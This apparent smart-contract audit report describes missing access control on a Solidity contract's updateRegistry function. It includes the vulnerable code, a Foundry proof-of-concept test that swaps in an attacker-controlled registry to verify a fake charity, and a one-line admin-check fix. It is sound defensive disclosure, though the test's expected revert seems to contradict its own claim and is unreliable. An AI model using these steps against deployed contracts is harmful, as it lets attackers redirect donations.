Summary
Any user can call the 'GivingThanks::updateRegistry' function to change the address of the 'GivingThanks::registry' variable to one in which another 'CharityRegistry' contract has been deployed with an admin/owner different from the 'GivingThanks' contract.
Vulnerability Details
function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}
Proof of concept
We can add this test to proof if it is possible to change the 'CharityRegistry' contract address and verify a charity address by other address than the admin/owner of the 'GivingThanks' contract.
function testCharityCannotBeVerifiedByNonAdmin() public {
address fakeAdmin = makeAddr("fakeAdmin");
address fakeCharity = makeAddr("fakeCharity");
vm.startPrank(fakeAdmin);
CharityRegistry fakeRegistry = new CharityRegistry();
charityContract.updateRegistry(address(fakeRegistry));
fakeRegistry.registerCharity(fakeCharity);
fakeRegistry.verifyCharity(fakeCharity);
vm.stopPrank();
deal(donor, 10 ether);
vm.startPrank(donor);
vm.expectRevert();
charityContract.donate{value: 1 ether}(fakeCharity);
vm.stopPrank();
}
Impact
A malicious actor could become the admin of the 'CharityRegistry' contract to register and verify charity addresses not previously verified by the admin/owner of the 'GivingThanks' contract. The admin user loses control of the verified addresses and the protocol becomes unreliable.
Tools Used
Foundry, Manual code review
Recommendations
Check that the user trying to execute the the 'GivingThanks::updateRegistry' function is admin.
``` diff
function updateRegistry(address _registry) public {
+ require(msg.sender == admin, "Only admin can update registry");
registry = CharityRegistry(_registry);
}
```